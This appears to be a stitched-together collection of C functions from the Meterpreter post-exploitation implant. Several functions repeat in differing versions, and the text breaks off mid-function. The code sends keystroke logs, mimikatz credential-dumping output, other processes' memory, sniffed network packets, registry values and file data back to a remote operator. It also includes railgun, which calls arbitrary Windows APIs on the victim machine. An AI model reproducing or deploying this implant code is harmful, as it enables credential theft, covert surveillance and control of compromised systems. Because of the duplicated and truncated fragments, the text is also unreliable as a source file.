DWORD request_resolve_hosts(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv hostname = {0}; int index = 0; int iResult; u_short ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); while( packet_enum_tlv( packet, index++, TLV_TYPE_HOST_NAME, &hostname ) == ERROR_SUCCESS ) { struct in_addr addr = {0}; struct in6_addr addr6 = {0}; iResult = resolve_host((LPCSTR)hostname.buffer, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } } else { dprintf("Unable to resolve_host %s error: %x", hostname.buffer, iResult); packet_add_tlv_raw(response, TLV_TYPE_IP, NULL, 0); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } packet_transmit_response(NO_ERROR, remote, response); return ERROR_SUCCESS; }
/* * Write to the remote end of the channel */ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { // Allocate a request packet if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Add the channel identifier and the length to write packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlvs(request, addend, addendLength); if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); if (completionRoutine) { dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct meterp_stat buf; LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { result = fs_stat(expanded, &buf); if (0 == result) packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return result; }
DWORD request_ui_get_keys_utf8(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; char *utf8_keyscan_buf = NULL; if (tKeyScan) { utf8_keyscan_buf = wchar_to_utf8(g_keyscan_buf); packet_add_tlv_raw(response, TLV_TYPE_KEYS_DUMP, (LPVOID)utf8_keyscan_buf, (DWORD)strlen(utf8_keyscan_buf) + 1); memset(g_keyscan_buf, 0, KEYBUFSIZE); // reset index and zero active window string so the current one // is logged again g_idx = 0; RtlZeroMemory(g_prev_active_image, MAX_PATH); } else { result = 1; } // Transmit the response packet_transmit_response(result, remote, response); free(utf8_keyscan_buf); return ERROR_SUCCESS; }
/* * Returns the SHA1 hash for a specified file path * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_sha1(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); char *filePath; DWORD result = ERROR_SUCCESS; SHA_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[SHA_DIGEST_LENGTH]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); result = fs_fopen(filePath, "rb", &fd); if (result == ERROR_SUCCESS) { SHA1_Init(&context); while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { SHA1_Update(&context, buff, ret); } fclose(fd); SHA1_Final(hash, &context); packet_add_tlv_raw(response, TLV_TYPE_FILE_HASH, hash, sizeof(hash)); } return packet_transmit_response(result, remote, response); }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct meterp_stat buf; char *filePath; char *expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (!filePath) { result = ERROR_INVALID_PARAMETER; goto out; } expanded = fs_expand_path(filePath); if (expanded == NULL) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } result = fs_stat(expanded, &buf); if (0 == result) { packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } free(expanded); out: return packet_transmit_response(result, remote, response); }
DWORD request_custom_command(Remote *remote, Packet *packet) { Packet * response = packet_create_response(packet); Tlv argTlv = {0}; DWORD index = 0; vector<wstring> args; LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION); dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION)); wstring function = s2ws(func); while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS ) { dprintf("Arg: %s", (PCHAR)argTlv.buffer); args.push_back(s2ws((PCHAR)argTlv.buffer)); } clear_buffer(); initialize_mimikatz(); myMimiKatz->doCommandeLocale(&function, &args); wchar_t* output = convert_wstring_to_wchar_t(oss.str()); clear_buffer(); packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t))); packet_transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; }
/* * Returns the MD5 hash for a specified file path * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_md5(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); char *filePath; DWORD result = ERROR_SUCCESS; MD5_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[MD5_DIGEST_LENGTH + 1] = {0}; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); result = fs_fopen(filePath, "rb", &fd); if (result == ERROR_SUCCESS) { MD5_Init(&context); while ((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { MD5_Update(&context, buff, ret); } MD5_Final(hash, &context); packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, sizeof(hash)); fclose(fd); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Queries a registry value's type and data for a given HKEY. * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY to query the value on * req: TLV_TYPE_VALUE_NAME - The name of the value to query */ DWORD request_registry_query_value(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; LPBYTE valueData = NULL; DWORD valueDataSize = 4096; DWORD result = ERROR_SUCCESS; DWORD valueType = 0; HKEY hkey = NULL; // Acquire the standard TLVs hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY); valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); do { // Get the size of the value data if ((result = RegQueryValueEx(hkey, valueName, 0, NULL, NULL, &valueDataSize)) != ERROR_SUCCESS) break; // Allocate storage for the value data if (!(valueData = (LPBYTE)malloc(valueDataSize))) continue; // Query the value's information if ((result = RegQueryValueEx(hkey, valueName, 0, &valueType, valueData, &valueDataSize)) != ERROR_SUCCESS) break; // Add the information about the value to the response packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); switch (valueType) { case REG_SZ: packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, (LPCSTR)valueData); break; case REG_DWORD: packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA, *(LPDWORD)valueData); break; default: packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); break; } } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Add an array of TLVs */ DWORD packet_add_tlvs(Packet *packet, Tlv *entries, DWORD numEntries) { DWORD index; for (index = 0; index < numEntries; index++) packet_add_tlv_raw(packet, entries[index].header.type, entries[index].buffer, entries[index].header.length); return ERROR_SUCCESS; }
/* * Read memory from the context of the supplied process at a given address for a * given length * * req: TLV_TYPE_HANDLE - The handle of the process to read from. * req: TLV_TYPE_BASE_ADDRESS - The address to read from. * req: TLV_TYPE_LENGTH - The number of bytes to read. */ DWORD request_sys_process_memory_read(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPVOID buffer = NULL; HANDLE handle; SIZE_T size; LPVOID base; SIZE_T bytesRead = 0; DWORD result = ERROR_SUCCESS; handle = (HANDLE)packet_get_tlv_value_qword(packet, TLV_TYPE_HANDLE); base = (LPVOID)packet_get_tlv_value_qword(packet, TLV_TYPE_BASE_ADDRESS); size = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); do { // No handle, base, or size supplied? if ((!handle) || (!base) || (!size)) { result = ERROR_INVALID_PARAMETER; break; } // Allocate storage for to read into if (!(buffer = malloc(size))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Read the memory from the process...break out on failure if ((!ReadProcessMemory(handle, base, buffer, size, &bytesRead)) && (GetLastError() != ERROR_PARTIAL_COPY)) { result = GetLastError(); break; } // Add the raw buffer to the response packet_add_tlv_raw(response, TLV_TYPE_PROCESS_MEMORY, buffer, (DWORD)bytesRead); } while (0); // Transmit the response packet_transmit_response(result, remote, response); // Free the temporary storage if (buffer) free(buffer); return ERROR_SUCCESS; }
/* * Add a TLV group. A TLV group is a TLV that contains multiple sub-TLVs */ DWORD packet_add_tlv_group(Packet *packet, TlvType type, Tlv *entries, DWORD numEntries) { DWORD totalSize = 0, offset = 0, index = 0, res = ERROR_SUCCESS; PCHAR buffer = NULL; // Calculate the total TLV size. for (index = 0; index < numEntries; index++) totalSize += entries[index].header.length + sizeof(TlvHeader); do { // Allocate storage for the complete buffer if (!(buffer = (PCHAR)malloc(totalSize))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Copy the memory into the new buffer for (index = 0; index < numEntries; index++) { TlvHeader rawHeader; // Convert byte order for storage rawHeader.length = htonl(entries[index].header.length + sizeof(TlvHeader)); rawHeader.type = htonl((DWORD)entries[index].header.type); // Copy the TLV header & payload memcpy(buffer + offset, &rawHeader, sizeof(TlvHeader)); memcpy(buffer + offset + sizeof(TlvHeader), entries[index].buffer, entries[index].header.length); // Update the offset into the buffer offset += entries[index].header.length + sizeof(TlvHeader); } // Now add the TLV group with its contents populated res = packet_add_tlv_raw(packet, type, buffer, totalSize); } while (0); // Free the temporary buffer if (buffer) free(buffer); return res; }
/*! * @brief Add a group packet to the parent packet. * @param packet Pointer to the container packet that the group is to be added to. * @param type The type of group packet being added. * @param groupPacket the packet containing the group data (created by `packet_create_group`). * @returns Indication of success or failure. * @remarks The function calls `packet_destroy` on the `groupPacket` if adding the packet succeeds. */ DWORD packet_add_group(Packet* packet, TlvType type, Packet* groupPacket) { DWORD result = packet_add_tlv_raw(packet, type, groupPacket->payload, groupPacket->payloadLength); if (result == ERROR_SUCCESS) { packet_destroy(groupPacket); return ERROR_SUCCESS; } return result; }
DWORD request_core_uuid(Remote* remote, Packet* packet) { DWORD res = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { packet_add_tlv_raw(response, TLV_TYPE_UUID, remote->orig_config->session.uuid, UUID_SIZE); packet_transmit_response(ERROR_SUCCESS, remote, response); } return res; }
//Gets and resets the DHCP log DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet){ Packet *response = packet_create_response(packet); unsigned long loglen; unsigned char * log = getDHCPLog(dhcpserver, &loglen); packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen); packet_transmit_response(ERROR_SUCCESS, remote, response); free(log); return ERROR_SUCCESS; }
/* * Returns the SHA1 hash for a specified file path * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_sha1(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; SHA_CTX context; FILE *fd; size_t ret; unsigned char buff[16384]; unsigned char hash[128]; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { do { SHA1_Init(&context); fd = fopen(expanded, "rb"); if (! fd) { result = GetLastError(); break; } while((ret = fread(buff, 1, sizeof(buff), fd)) > 0 ) { SHA1_Update(&context, buff, ret); } fclose(fd); SHA1_Final(hash, &context); // One byte extra for the NULL packet_add_tlv_raw(response, TLV_TYPE_FILE_NAME, hash, 21); } while(0); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
DWORD request_resolve_host(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR hostname = NULL; struct in_addr addr; struct in6_addr addr6; u_short ai_family = AF_INET; int iResult; hostname = packet_get_tlv_value_string(packet, TLV_TYPE_HOST_NAME); if (!hostname) { iResult = ERROR_INVALID_PARAMETER; dprintf("Hostname not set"); } else { ai_family = packet_get_tlv_value_uint(packet, TLV_TYPE_ADDR_TYPE); iResult = resolve_host(hostname, ai_family, &addr, &addr6); if (iResult == NO_ERROR) { if (ai_family == AF_INET) { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr, sizeof(struct in_addr)); } else { packet_add_tlv_raw(response, TLV_TYPE_IP, &addr6, sizeof(struct in_addr6)); } packet_add_tlv_uint(response, TLV_TYPE_ADDR_TYPE, ai_family); } else { dprintf("Unable to resolve_host %s error: %x", hostname, iResult); } } packet_transmit_response(iResult, remote, response); return ERROR_SUCCESS; }
static DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid; unsigned int bcnt; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> capture_dump_read()"); ifid = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_INTERFACE_ID); bcnt = packet_get_tlv_value_uint(packet,TLV_TYPE_SNIFFER_BYTE_COUNT); bcnt = min(bcnt, 32*1024*1024); dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt); result = ERROR_SUCCESS; do { // the interface is invalid if(ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); break; } j = &open_captures[ifid]; if(! j->dbuf) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); break; } if(j->didx + bcnt > j->dlen) { bcnt = j->dlen - j->didx; } packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf+j->didx, bcnt); j->didx += bcnt; } while(0); // Free memory if the read is complete if(j->didx >= j->dlen-1) { free(j->dbuf); j->dbuf = NULL; j->didx = 0; j->dlen = 0; } packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) { Packet *response = arg; struct meterp_stat s; /* * Add the file name, full path and stat information */ packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name); packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path); if (short_name) { packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); } if (fs_stat(path, &s) >= 0) { packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); } }
/*! * @brief Add a wide-string value TLV to a packet, including the \c NULL terminator. * @param packet Pointer to the packet to add the value to. * @param type TLV type for the value. * @param str Pointer to the wide-string value to add to the packet. * @param strLength of the string (not including the NULL terminator). * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. */ DWORD packet_add_tlv_wstring_len(Packet *packet, TlvType type, LPCWSTR str, size_t strLength) { DWORD dwResult; LPSTR lpStr = (LPSTR)malloc(strLength + 1); if (lpStr) { wcstombs(lpStr, str, strLength); lpStr[strLength] = 0; dwResult = packet_add_tlv_raw(packet, type, (PUCHAR)lpStr, (DWORD)strLength + 1); free(lpStr); } else { dwResult = ERROR_NOT_ENOUGH_MEMORY; } return dwResult; }
/* * Gets information about the file path that is supplied and returns it to the * requestor * * TLVs: * * req: TLV_TYPE_FILE_PATH - The file path that is to be stat'd */ DWORD request_fs_stat(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); struct stat buf; LPCSTR filePath; LPSTR expanded = NULL; DWORD result = ERROR_SUCCESS; filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); // Validate parameters if (!filePath) result = ERROR_INVALID_PARAMETER; else if (!(expanded = fs_expand_path(filePath))) result = ERROR_NOT_ENOUGH_MEMORY; else { // Stat the file using the Microsoft stat wrapper so that we don't have to // do translations if (stat(expanded, &buf) < 0) result = GetLastError(); else packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf, sizeof(buf)); } // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); packet_transmit(remote, response, NULL); if (expanded) free(expanded); return ERROR_SUCCESS; }
/*! * @brief Get the current hash that is used for SSL certificate verification. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the request packet. * @returns Indication of success or failure. */ DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; Packet* response; do { response = packet_create_response(packet); if (!response) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Rather than error out if the transport isn't HTTPS, we'll just return // an empty response. This prevents a horrible error appearing in the // MSF console if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) { HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; if (ctx->cert_hash) { packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); } } result = ERROR_SUCCESS; } while (0); if (response) { packet_transmit_response(result, remote, response); } return result; }
// Single-request railgun API DWORD request_railgun_api(Remote *remote, Packet *packet) { DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements; BYTE * bufferIN=NULL; BYTE * bufferOUT=NULL; BYTE * bufferINOUT=NULL; DWORD * stack = NULL; DWORD returnValue; // returnValue of the function const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV Tlv stackDescriptorTlv; const char * dllName; const char * funcName; HMODULE hDll; void * funcAddr; DWORD ii; DWORD lastError; Packet *response; dprintf("request_railgun_api()"); // Prepare the OUT-Buffer (undefined content) bufferSizeOUT = packet_get_tlv_value_uint(packet, TLV_TYPE_RAILGUN_SIZE_OUT); dprintf("bufferSizeOUT == %d",bufferSizeOUT); if (bufferSizeOUT != 0){ bufferOUT = (BYTE *)malloc(bufferSizeOUT); memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs } dprintf("bufferOUT @ 0x%08X",bufferOUT); // get the IN-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); bufferIN = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_IN,&bufferSizeIN); dprintf("bufferIN @ 0x%08X",bufferIN); if (bufferIN == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN); // get the INOUT-Buffer dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); bufferINOUT = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT,&bufferSizeINOUT); dprintf("bufferINOUT @ 0x%08X",bufferINOUT); if (bufferINOUT == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT"); goto cleanup; } dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT); // Get DLLNAME dllName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_DLLNAME); if (dllName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName); // Get funcNAME funcName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_FUNCNAME); if (funcName == NULL){ dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME"); goto cleanup; } dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName); // get address of function hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc. if (hDll == NULL){ dprintf("LoadLibraryA() failed"); goto cleanup; } funcAddr = (void*)GetProcAddress(hDll,funcName); if (funcAddr == NULL){ dprintf("GetProcAddress() failed"); goto cleanup; } // get the Stack-description (1 DWORD description, 1 DWORD data) dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB"); if (packet_get_tlv(packet, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS){ dprintf("packet_get_tlv failed"); goto cleanup; } dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length); if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){ dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense"); } dprintf("Function at 0x%08X.",funcAddr); stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD)); stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer; stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD)); dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length); dprintf("stackSizeInElements: %d",stackSizeInElements); dprintf("stack @ 0x%08X",stack); // To build the stack we have to process the items. // depending on their types the items are // 0 - literal values // 1 = relative pointers to bufferIN. Must be converted to absolute pointers // 2 = relative pointers to bufferOUT. Must be converted to absolute pointers // 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers for (ii=0; ii<stackSizeInElements; ii++){ DWORD itemType,item; itemType = stackDescriptorBuffer[ii*2]; item = stackDescriptorBuffer[ii*2+1]; switch(itemType){ case 0: // do nothing. item is a literal value dprintf("Param %d is literal:0x%08X.",ii,item); stack[ii] = item; break; case 1: // relative ptr to bufferIN. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferIN); dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 2: // relative ptr to bufferOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferOUT); dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; case 3: // relative ptr to bufferINOUT. Convert to absolute Ptr stack[ii] = item + ((DWORD)bufferINOUT); dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]); break; default: dprintf("Invalid stack item description %d for item %d",itemType,ii); goto cleanup; } } dprintf("calling function.."); SetLastError(0); // written for readability. // The compiler MUST use EBP to reference variables, sinde we are messing with ESP. // In MSVC parlance "Omit Frame pointers" OFF! __asm{ pusha // save ESP mov EBX,ESP //"push" all params on the stack mov ECX,[stackSizeInElements] mov ESI,[stack] sub ESP,ECX sub ESP,ECX sub ESP,ECX sub ESP,ECX mov EDI,ESP cld rep movsd //and call! mov eax,[funcAddr] call eax // restore stack. no matter the calling convention mov esp,ebx // starting here we can use vars again mov [returnValue],EAX popa } lastError = GetLastError(); //must be called immediately after function dprintf("called function => %d",lastError); // time to ship stuff back response = packet_create_response(packet); dprintf("created return packet"); packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError); packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue); packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT); packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT); dprintf("added stuff"); packet_transmit_response(ERROR_SUCCESS, remote, response); dprintf("transmitted back"); cleanup: // todo: transmit error message on failure dprintf("request_railgun_api: cleanup"); if (bufferIN != NULL) {free(bufferIN);} if (bufferOUT != NULL) {free(bufferOUT);} if (bufferINOUT != NULL) {free(bufferINOUT);} if (stack != NULL) {free(stack);} return 0; }
/*! * @brief Add a boolean value TLV to a packet. * @param packet Pointer to the packet to add the value to. * @param type TLV type for the value. * @param val The value to add to the packet. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. */ DWORD packet_add_tlv_bool(Packet *packet, TlvType type, BOOL val) { return packet_add_tlv_raw(packet, type, (PUCHAR)&val, 1); }
/*! * @brief Add a quad-work value TLV to a packet. * @param packet Pointer to the packet to add the value to. * @param type TLV type for the value. * @param val The value to add to the packet. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. */ DWORD packet_add_tlv_qword(Packet *packet, TlvType type, QWORD val) { val = htonq(val); return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(QWORD)); }
/*! * @brief Add a unsigned integer value TLV to a packet. * @param packet Pointer to the packet to add the value to. * @param type TLV type for the value. * @param val The value to add to the packet. * @return Indication of success or failure. * @retval ERROR_SUCCESS The operation completed successfully. * @retval ERROR_NOT_ENOUGH_MEMORY Insufficient memory available. */ DWORD packet_add_tlv_uint(Packet *packet, TlvType type, UINT val) { val = htonl(val); return packet_add_tlv_raw(packet, type, (PUCHAR)&val, sizeof(val)); }
DWORD request_sniffer_capture_dump_read(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); unsigned int ifid, i; unsigned int bcnt; CaptureJob *j; DWORD result; check_pssdk(); dprintf("sniffer>> capture_dump_read()"); ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID); bcnt = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_BYTE_COUNT); bcnt = min(bcnt, 32 * 1024 * 1024); dprintf("sniffer>> capture_dump_read(0x%.8x, %d)", ifid, bcnt); result = ERROR_SUCCESS; do { // the interface is invalid if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } j = &open_captures[ifid]; if (!j->dbuf) { packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, 0); goto fail; } if (j->didx + bcnt > j->dlen) { bcnt = j->dlen - j->didx; } packet_add_tlv_uint(response, TLV_TYPE_SNIFFER_BYTE_COUNT, bcnt); packet_add_tlv_raw(response, TLV_TYPE_SNIFFER_PACKET, (unsigned char *)j->dbuf + j->didx, bcnt); j->didx += bcnt; } while (0); // Free memory if the read is complete if 